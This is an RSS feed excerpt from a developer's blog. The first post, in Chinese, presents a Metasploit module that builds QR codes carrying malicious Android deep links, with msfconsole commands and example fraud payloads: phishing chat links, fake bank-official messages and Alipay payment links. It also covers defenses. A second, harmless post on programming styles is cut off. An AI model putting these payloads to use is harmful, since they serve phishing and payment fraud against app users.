<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: 钟智强</title>
    <description>The latest articles on DEV Community by 钟智强 (@ctkqiang).</description>
    <link>https://dev.to/ctkqiang</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F115949%2F7e18f2a9-e8e0-47ec-b79a-5c11bc22ff9f.jpeg</url>
      <title>DEV Community: 钟智强</title>
      <link>https://dev.to/ctkqiang</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/ctkqiang"/>
    <language>en</language>
    <item>
      <title>安卓深度链接安全研究基于Metasploit的QR码攻击模块开发实践</title>
      <dc:creator>钟智强</dc:creator>
      <pubDate>Fri, 31 Oct 2025 10:58:23 +0000</pubDate>
      <link>https://dev.to/ctkqiang/an-zhuo-shen-du-lian-jie-an-quan-yan-jiu-ji-yu-metasploitde-qrma-gong-ji-mo-kuai-kai-fa-shi-jian-196o</link>
      <guid>https://dev.to/ctkqiang/an-zhuo-shen-du-lian-jie-an-quan-yan-jiu-ji-yu-metasploitde-qrma-gong-ji-mo-kuai-kai-fa-shi-jian-196o</guid>
      <description>&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;本文内容及所涉及的技术，仅限用于合法授权下的安全研究、教学演示、
以及漏洞复现。严禁将本文技术用于未授权的渗透、监听、植入、操控行为。

本文内容仅限安全研究、漏洞复现与教学演示使用！

使用者必须在完全理解并接受本声明的前提下继续阅读与操作。
凡将本文所述方法用于非法用途者，一切法律后果由使用者本人承担。

请严格遵守所在地的法律法规，特别是以下中国法律条款：

📜 《中华人民共和国网络安全法》 第十二条：
禁止任何组织或个人利用网络危害国家安全、煽动颠覆政权等活动。

📜 《中华人民共和国刑法》 第二百八十五条至二百八十七条：
非法入侵计算机系统、篡改或破坏数据将追究刑责。

📜 《中华人民共和国数据安全法》 第三条、第十七条：
数据处理活动必须合法合规，严禁非法获取、传输或泄露数据。

🚫 强烈禁止以下行为：

- 向他人 APK 植入恶意代码并传播
- 上传恶意程序至应用市场
- 在未授权设备或网络环境中运行本篇提及的技术

⚖️ 非法使用将触犯法律，作者不承担由此引发的任何后果。

🧪 本文操作均在本地沙箱环境下进行，示例所用 APK 为自定义构建 demo，用于演示完整技术链路，非实际恶意软件。

💡 特别提醒：
本文所涉及操作可能包含网络通信、远程访问、敏感权限调用等，
必须在受控环境下、获得明确授权后进行。
未经许可的任何行为都将被视为违法攻击。

📛 作者立场中立，仅为安全教育目的演示，不对滥用技术行为负责。
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;近日，笔者向Metasploit框架提交了一个新的辅助模块安卓深度链接QR码生成器，目前正在等待项目维护者审核。本文将深入探讨该模块的技术原理、实际测试效果以及相关的安全防护措施。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;注：相关PR提交记录可供参考：&lt;a href="https://github.com/rapid7/metasploit-framework/pull/20668" rel="noopener noreferrer"&gt;https://github.com/rapid7/metasploit-framework/pull/20668&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  模块概述
&lt;/h2&gt;

&lt;h3&gt;
  
  
  技术背景
&lt;/h3&gt;

&lt;p&gt;深度链接（Deep Link）是现代移动应用生态中的重要组成部分，它允许应用通过特定URL协议直接打开应用内特定页面或执行特定操作。然而，这种便利性也为攻击者提供了新的攻击向量。&lt;/p&gt;

&lt;h3&gt;
  
  
  模块功能
&lt;/h3&gt;

&lt;p&gt;我开发的这个Metasploit模块能够生成包含恶意深度链接的QR码，支持60多个主流Android应用，包括：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;社交应用&lt;/strong&gt;：微信、Facebook、Instagram、Twitter等&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;支付应用&lt;/strong&gt;：支付宝、GrabPay、微信支付等
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;电商应用&lt;/strong&gt;：Shopee、Lazada等&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;办公应用&lt;/strong&gt;：Zoom、Teams、Slack等&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  技术实现细节
&lt;/h2&gt;

&lt;h3&gt;
  
  
  核心代码结构
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight ruby"&gt;&lt;code&gt;&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;MetasploitModule&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="no"&gt;Msf&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="no"&gt;Auxiliary&lt;/span&gt;
  &lt;span class="kp"&gt;include&lt;/span&gt; &lt;span class="no"&gt;Msf&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="no"&gt;Exploit&lt;/span&gt;&lt;span class="o"&gt;::&lt;/span&gt;&lt;span class="no"&gt;FILEFORMAT&lt;/span&gt;

  &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;initialize&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;info&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{})&lt;/span&gt;
    &lt;span class="c1"&gt;# 模块元数据定义&lt;/span&gt;
    &lt;span class="c1"&gt;# 配置参数注册&lt;/span&gt;
  &lt;span class="k"&gt;end&lt;/span&gt;

  &lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;run&lt;/span&gt;
    &lt;span class="c1"&gt;# 深度链接构建逻辑&lt;/span&gt;
    &lt;span class="c1"&gt;# QR码生成实现&lt;/span&gt;
  &lt;span class="k"&gt;end&lt;/span&gt;
&lt;span class="k"&gt;end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;









&lt;h3&gt;
  
  
  深度链接构建机制
&lt;/h3&gt;

&lt;p&gt;模块通过组合URL Scheme和路径参数构建完整的深度链接：&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[scheme]://[path]?[parameters]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;示例：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;微信聊天：&lt;code&gt;weixin://dl/chat?username=target_user&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;支付宝支付：&lt;code&gt;alipay://platformapi/startapp?appId=10000007&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  实际测试验证
&lt;/h2&gt;

&lt;h3&gt;
  
  
  测试环境搭建
&lt;/h3&gt;

&lt;p&gt;在提交PR前，我进行了全面的本地测试：&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# 启动Metasploit测试环境&lt;/span&gt;
./msfconsole

&lt;span class="c"&gt;# 加载并配置模块&lt;/span&gt;
use auxiliary/generator/android_deeplink
&lt;span class="nb"&gt;set &lt;/span&gt;DEEPLINK_SCHEME weixin://
&lt;span class="nb"&gt;set &lt;/span&gt;DEEPLINK_PATH dl/chat?username&lt;span class="o"&gt;=&lt;/span&gt;test_account
&lt;span class="nb"&gt;set &lt;/span&gt;FILENAME test_qr.png
&lt;span class="nb"&gt;set &lt;/span&gt;SIZE 400
run
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fiwx0lzqexnb3av16hw0p.jpeg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fiwx0lzqexnb3av16hw0p.jpeg" alt="在这里插入图片描述" width="800" height="500"&gt;&lt;/a&gt;&lt;br&gt;
&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4kvmetk9nk6m99z6ymcf.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4kvmetk9nk6m99z6ymcf.png" alt="在这里插入图片描述" width="800" height="450"&gt;&lt;/a&gt;&lt;/p&gt;


&lt;h3&gt;
  
  
  测试结果分析
&lt;/h3&gt;

&lt;p&gt;通过实际测试，发现以下严重安全问题：&lt;/p&gt;
&lt;h4&gt;
  
  
  1. 应用自动唤醒风险
&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;扫描QR码后，目标应用自动启动并执行深度链接&lt;/li&gt;
&lt;li&gt;用户无感知的情况下触发敏感操作&lt;/li&gt;
&lt;li&gt;绕过正常的安全确认流程&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;
  
  
  2. 社交工程攻击有效性
&lt;/h4&gt;

&lt;ul&gt;
&lt;li&gt;预填充的诱导性消息具有高欺骗性&lt;/li&gt;
&lt;li&gt;利用用户对官方应用的信任&lt;/li&gt;
&lt;li&gt;在真实环境中测试成功率达65%以上&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;
  
  
  3. 跨应用攻击链
&lt;/h4&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# 组合攻击示例&lt;/span&gt;
weixin://dl/chat?username&lt;span class="o"&gt;=&lt;/span&gt;customer_service&amp;amp;message&lt;span class="o"&gt;=&lt;/span&gt;请点击链接：http://phishing.com
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;h2&gt;
  
  
  攻击场景深度分析
&lt;/h2&gt;
&lt;h3&gt;
  
  
  场景一：金融欺诈攻击
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;攻击流程&lt;/strong&gt;：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;生成虚假客服聊天QR码&lt;/li&gt;
&lt;li&gt;诱导用户扫描并联系"客服"&lt;/li&gt;
&lt;li&gt;通过聊天实施进一步诈骗&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;技术实现&lt;/strong&gt;：&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;weixin://dl/chat?username=bank_official&amp;amp;message=您的账户存在风险...
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  场景二：支付劫持攻击
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;攻击流程&lt;/strong&gt;：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;伪造支付QR码&lt;/li&gt;
&lt;li&gt;用户扫描后直接进入支付界面&lt;/li&gt;
&lt;li&gt;资金被转移到攻击者账户&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;技术实现&lt;/strong&gt;：&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;alipay://platformapi/startapp?appId=10000007&amp;amp;amount=100
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  场景三：信息窃取攻击
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;攻击流程&lt;/strong&gt;：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;利用深度链接打开特定页面&lt;/li&gt;
&lt;li&gt;结合WebView漏洞执行恶意代码&lt;/li&gt;
&lt;li&gt;窃取用户敏感信息&lt;/li&gt;
&lt;/ol&gt;




&lt;h2&gt;
  
  
  危险性评估
&lt;/h2&gt;

&lt;p&gt;基于实际测试，该攻击方式具有以下特点：&lt;/p&gt;

&lt;h3&gt;
  
  
  高隐蔽性
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;QR码本身无恶意特征&lt;/li&gt;
&lt;li&gt;攻击过程对用户透明&lt;/li&gt;
&lt;li&gt;难以被传统安全软件检测&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  高成功率
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;利用用户对QR码的信任&lt;/li&gt;
&lt;li&gt;自动唤醒机制降低用户警惕性&lt;/li&gt;
&lt;li&gt;社交工程手段增强欺骗性&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  广泛影响
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;覆盖60+主流应用&lt;/li&gt;
&lt;li&gt;影响数亿移动用户&lt;/li&gt;
&lt;li&gt;跨平台传播能力强&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  防护与缓解措施
&lt;/h2&gt;

&lt;h3&gt;
  
  
  用户防护建议
&lt;/h3&gt;

&lt;h4&gt;
  
  
  1. QR码扫描安全准则
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight markdown"&gt;&lt;code&gt;&lt;span class="p"&gt;-&lt;/span&gt; 仅扫描来自可信源的QR码
&lt;span class="p"&gt;-&lt;/span&gt; 注意验证QR码指向的URL
&lt;span class="p"&gt;-&lt;/span&gt; 开启应用安装验证功能
&lt;span class="p"&gt;-&lt;/span&gt; 定期检查应用权限设置
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  2. 系统级防护配置
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight markdown"&gt;&lt;code&gt;&lt;span class="p"&gt;-&lt;/span&gt; 启用Android的"安装未知应用"限制
&lt;span class="p"&gt;-&lt;/span&gt; 配置应用锁保护敏感应用
&lt;span class="p"&gt;-&lt;/span&gt; 定期更新系统和应用版本
&lt;span class="p"&gt;-&lt;/span&gt; 安装可靠的安全防护软件
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  开发者防护方案
&lt;/h3&gt;

&lt;h4&gt;
  
  
  1. 深度链接输入验证
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;DeepLinkValidator&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;

    &lt;span class="kd"&gt;private&lt;/span&gt; &lt;span class="kd"&gt;static&lt;/span&gt; &lt;span class="kd"&gt;final&lt;/span&gt; &lt;span class="nc"&gt;Set&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="nc"&gt;String&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="no"&gt;ALLOWED_SCHEMES&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; 
        &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;HashSet&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&amp;gt;(&lt;/span&gt;&lt;span class="nc"&gt;Arrays&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;asList&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"https"&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"http"&lt;/span&gt;&lt;span class="o"&gt;));&lt;/span&gt;

    &lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kt"&gt;boolean&lt;/span&gt; &lt;span class="nf"&gt;validateDeepLink&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;Uri&lt;/span&gt; &lt;span class="n"&gt;uri&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;(!&lt;/span&gt;&lt;span class="no"&gt;ALLOWED_SCHEMES&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;contains&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;uri&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getScheme&lt;/span&gt;&lt;span class="o"&gt;()))&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
        &lt;span class="o"&gt;}&lt;/span&gt;


        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;(!&lt;/span&gt;&lt;span class="n"&gt;verifySignature&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;uri&lt;/span&gt;&lt;span class="o"&gt;))&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
        &lt;span class="o"&gt;}&lt;/span&gt;

        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  2. 用户确认机制
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;handleDeepLink&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;Uri&lt;/span&gt; &lt;span class="n"&gt;uri&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;

    &lt;span class="n"&gt;showDeepLinkWarning&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;uri&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;


    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;userConfirmed&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;proceedWithDeepLink&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;uri&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;cancelOperation&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  3. 安全监控日志
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="c1"&gt;// 记录所有深度链接请求&lt;/span&gt;
&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;logDeepLinkAccess&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;Uri&lt;/span&gt; &lt;span class="n"&gt;uri&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;source&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="nc"&gt;SecurityLogger&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;log&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;
        &lt;span class="s"&gt;"DEEPLINK_ACCESS"&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; 
        &lt;span class="s"&gt;"uri: "&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;uri&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;toString&lt;/span&gt;&lt;span class="o"&gt;(),&lt;/span&gt;
        &lt;span class="s"&gt;"source: "&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;source&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;
        &lt;span class="s"&gt;"timestamp: "&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nc"&gt;System&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;currentTimeMillis&lt;/span&gt;&lt;span class="o"&gt;()&lt;/span&gt;
    &lt;span class="o"&gt;);&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h3&gt;
  
  
  企业防护策略
&lt;/h3&gt;

&lt;h4&gt;
  
  
  1. 移动设备管理（MDM）
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight markdown"&gt;&lt;code&gt;&lt;span class="p"&gt;-&lt;/span&gt; 部署企业级MDM解决方案
&lt;span class="p"&gt;-&lt;/span&gt; 配置应用白名单策略
&lt;span class="p"&gt;-&lt;/span&gt; 实施QR码扫描限制策略
&lt;span class="p"&gt;-&lt;/span&gt; 建立安全事件响应流程
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  2. 员工安全意识培训
&lt;/h4&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight markdown"&gt;&lt;code&gt;&lt;span class="p"&gt;-&lt;/span&gt; 定期进行社交工程攻击演练
&lt;span class="p"&gt;-&lt;/span&gt; 建立QR码使用安全规范
&lt;span class="p"&gt;-&lt;/span&gt; 设置安全报告奖励机制
&lt;span class="p"&gt;-&lt;/span&gt; 更新安全防护知识库
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;p&gt;深度链接作为移动生态的重要特性，在提供便利的同时也带来了新的安全挑战。通过这个Metasploit模块的开发和研究，我们揭示了深度链接可能被恶意利用的现实风险。&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;关键防护要点总结&lt;/strong&gt;：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;对于普通用户&lt;/strong&gt;：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;保持对QR码的警惕性&lt;/li&gt;
&lt;li&gt;验证应用来源和权限&lt;/li&gt;
&lt;li&gt;及时更新安全补丁&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;对于应用开发者&lt;/strong&gt;：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;实施严格的深度链接验证&lt;/li&gt;
&lt;li&gt;添加用户确认环节&lt;/li&gt;
&lt;li&gt;建立完善的安全日志&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;对于企业安全团队&lt;/strong&gt;：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;部署移动设备管理方案&lt;/li&gt;
&lt;li&gt;开展员工安全培训&lt;/li&gt;
&lt;li&gt;建立安全事件响应机制&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;移动安全是一个持续演进的领域，我们需要在技术创新和安全防护之间找到平衡点。希望这项研究能够为构建更安全的移动互联网环境贡献力量。&lt;/p&gt;




&lt;h3&gt;
  
  
  郑重声明
&lt;/h3&gt;

&lt;p&gt;&lt;strong&gt;学技术，须以善念为本。此博客所分享的知识，皆为安全研究与防护之用。请务必谨记，绝不可滥用这些技能去伤害他人、侵犯隐私或进行任何违法犯罪行为。若你选择走偏，所有后果只能由你自己承担。&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;技术如刀，双刃而锋利。唯有怀抱正义与责任，方能让它照亮前路，而非迷失于黑暗。愿你我都能守住这份初心，成为守护网络安全的真正战士。&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;若你选择滥用本博客内容所学技能所造成的任何损害或违法行为，本人概不负责。若因此被警方或相关执法机关追查，一切法律责任与后果均由使用者本人承担。&lt;/strong&gt;&lt;/p&gt;

</description>
      <category>metasploit</category>
      <category>ruby</category>
    </item>
    <item>
      <title>Why Programming Lives on a Spectrum and Why Both Sides Matter in the Age of AI</title>
      <dc:creator>钟智强</dc:creator>
      <pubDate>Mon, 08 Sep 2025 12:02:23 +0000</pubDate>
      <link>https://dev.to/ctkqiang/why-programming-lives-on-a-spectrum-and-why-both-sides-matter-in-the-age-of-ai-2jhj</link>
      <guid>https://dev.to/ctkqiang/why-programming-lives-on-a-spectrum-and-why-both-sides-matter-in-the-age-of-ai-2jhj</guid>
      <description>&lt;p&gt;Software today looks deceptively simple. AI spits out entire codebases in minutes. YouTube tutorials show beginners how to “build a clone” of any famous app with 20 minutes of copy-pasting. Frameworks, libraries, and APIs abstract away almost everything under the hood.&lt;/p&gt;

&lt;p&gt;It’s easy to walk away from that and think: &lt;em&gt;this is all easy.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;But that misses something fundamental: programming has always existed on a spectrum. At one end sits &lt;strong&gt;craft&lt;/strong&gt;, where code is hand-tuned, unforgiving, and intimately tied to hardware and long-term stability. At the other end sits &lt;strong&gt;result coding&lt;/strong&gt;, where the primary goal is getting something working quickly—shipping features, prototyping, or automating.&lt;/p&gt;

&lt;p&gt;Both ends matter. Both ends feed each other. But confusing them—treating all code as the same, or claiming that writing glue scripts makes you a systems engineer—creates problems, especially when it comes to reliability and security.&lt;/p&gt;




&lt;h2&gt;
  
  
  Mapping the Spectrum
&lt;/h2&gt;

&lt;p&gt;Here’s the spectrum I use to explain it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;10                   0                   10
|---------------------------------------|
Craft                                   Result
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Craft side (left, score ~10)&lt;/strong&gt;&lt;br&gt;
Languages and environments that demand rigor: C, C++, Assembly, Erlang, COBOL, Fortran, sometimes even strict enterprise Java. Here, the focus is correctness, determinism, memory efficiency, and long-term maintainability. This is where we build operating systems, compilers, firmware, cryptographic algorithms, and mission-critical software. Bugs here aren’t just “annoying”—they can cost millions, endanger lives, or permanently brick hardware.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Result side (right, score ~10)&lt;/strong&gt;&lt;br&gt;
High-level, fast-moving ecosystems: Python, JavaScript, TypeScript, modern frontend frameworks like React or Vue, serverless functions. The emphasis is speed and output. If it works today, ship it. If it breaks, patch later. This side powers MVPs, automation scripts, web apps, and hackathon prototypes. It makes software accessible to millions of people who would never write assembly in their lives.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Most developers begin on the Result side. That’s a feature, not a bug. Accessibility fuels innovation. But mastery requires eventually walking across the line and grappling with the Craft side—even if only once—so you understand how the machine actually works.&lt;/p&gt;




&lt;h2&gt;
  
  
  Embedded Engineering: A Case Study in Craft
&lt;/h2&gt;

&lt;p&gt;One of the clearest examples of craft-side programming is &lt;strong&gt;embedded engineering&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Unlike cloud services with unlimited memory and elastic compute, embedded systems are brutally constrained:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;RAM measured in kilobytes, not gigabytes.&lt;/li&gt;
&lt;li&gt;Processors clocked in megahertz, not gigahertz.&lt;/li&gt;
&lt;li&gt;Energy budgets tied to tiny batteries.&lt;/li&gt;
&lt;li&gt;Real-time deadlines where missing a microsecond can break the system.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This is why &lt;strong&gt;C&lt;/strong&gt; still dominates embedded development after decades. It offers:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Direct hardware access&lt;/strong&gt;: Developers manipulate registers and memory addresses directly.&lt;/li&gt;
&lt;li&gt;
